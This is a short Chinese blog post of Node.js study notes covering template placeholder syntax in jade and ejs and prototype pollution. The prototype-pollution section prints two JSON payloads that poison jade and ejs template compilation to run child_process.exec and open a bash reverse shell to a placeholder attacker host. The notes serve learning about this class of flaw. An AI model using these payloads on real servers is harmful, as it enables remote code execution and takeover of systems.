当前位置: 首页 > article >正文

nodejs学习笔记

文章目录

  • 基础知识
  • 标记替换数据
  • 原型污染

基础知识

nodejs发布于2008,是chrome v8引擎下的JavaScript运行环境,所有浏览器都支持js,同样js也只能操控浏览器页面的内容,但不能调用操作系统的api和访问操作系统的文件系统,而nodejs可以起到这样的作用

标记替换数据

Node常见的模板
express 渲染模板,与render_template 有点类似在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

jade的模板 #{username}
ejs的模板语法 <%=usenrame %>
告诉引擎要在哪里替换数据

原型污染

子类通过__protp__执行父类,可以给父类增加没有的属性

jade模板污染链


{
  "__proto__": {
    "__proto__": {
      "type": "Block",
      "nodes": "",
      "compileDebug": 1,
      "self": 1,
      "line": "global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-shell.com/3389 0>&1\"')"
    }
  }
}
ejs的模板污染

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}


http://www.kler.cn/a/580954.html

相关文章:

  • 时序数据库TimescaleDB基本操作示例
  • LWIP网络模型及接口简介(DAY 01)
  • 深入探索 Rust 的高级 Traits
  • 软件安全分析与应用之漏洞利用(一)
  • Java 大视界 -- Java 大数据在智能医疗药品研发数据分析与决策支持中的应用(126)
  • 英语学习(GitHub学到的分享)
  • SWC中的显式读写(DataReceiveByValue/DataSendPoint)
  • 序列化和反序列化(Linux)
  • Windows批处理脚本入门教程
  • 如何设置GET请求的参数?
  • Spring Boot中的YML配置列表的详细解析
  • CSS 权重:优先级规则
  • 《计算机图形学》第一课笔记-----opengl开发环境搭建
  • [machine learning] DP(Data Parallel) vs DDP(Distributed Data Parallel)
  • 【神经网络】python实现神经网络(二)——正向推理的模拟演练
  • Fedora41安装MySQL8.4.4
  • MYSQL学习笔记(十一):MYSQL数据类型讲解
  • 如何在 React 中实现错误边界?
  • 【简答题002】Java变量简答题
  • Vue3中使用exceljs和file-saver实现Excel导出(含图片导出)完整方案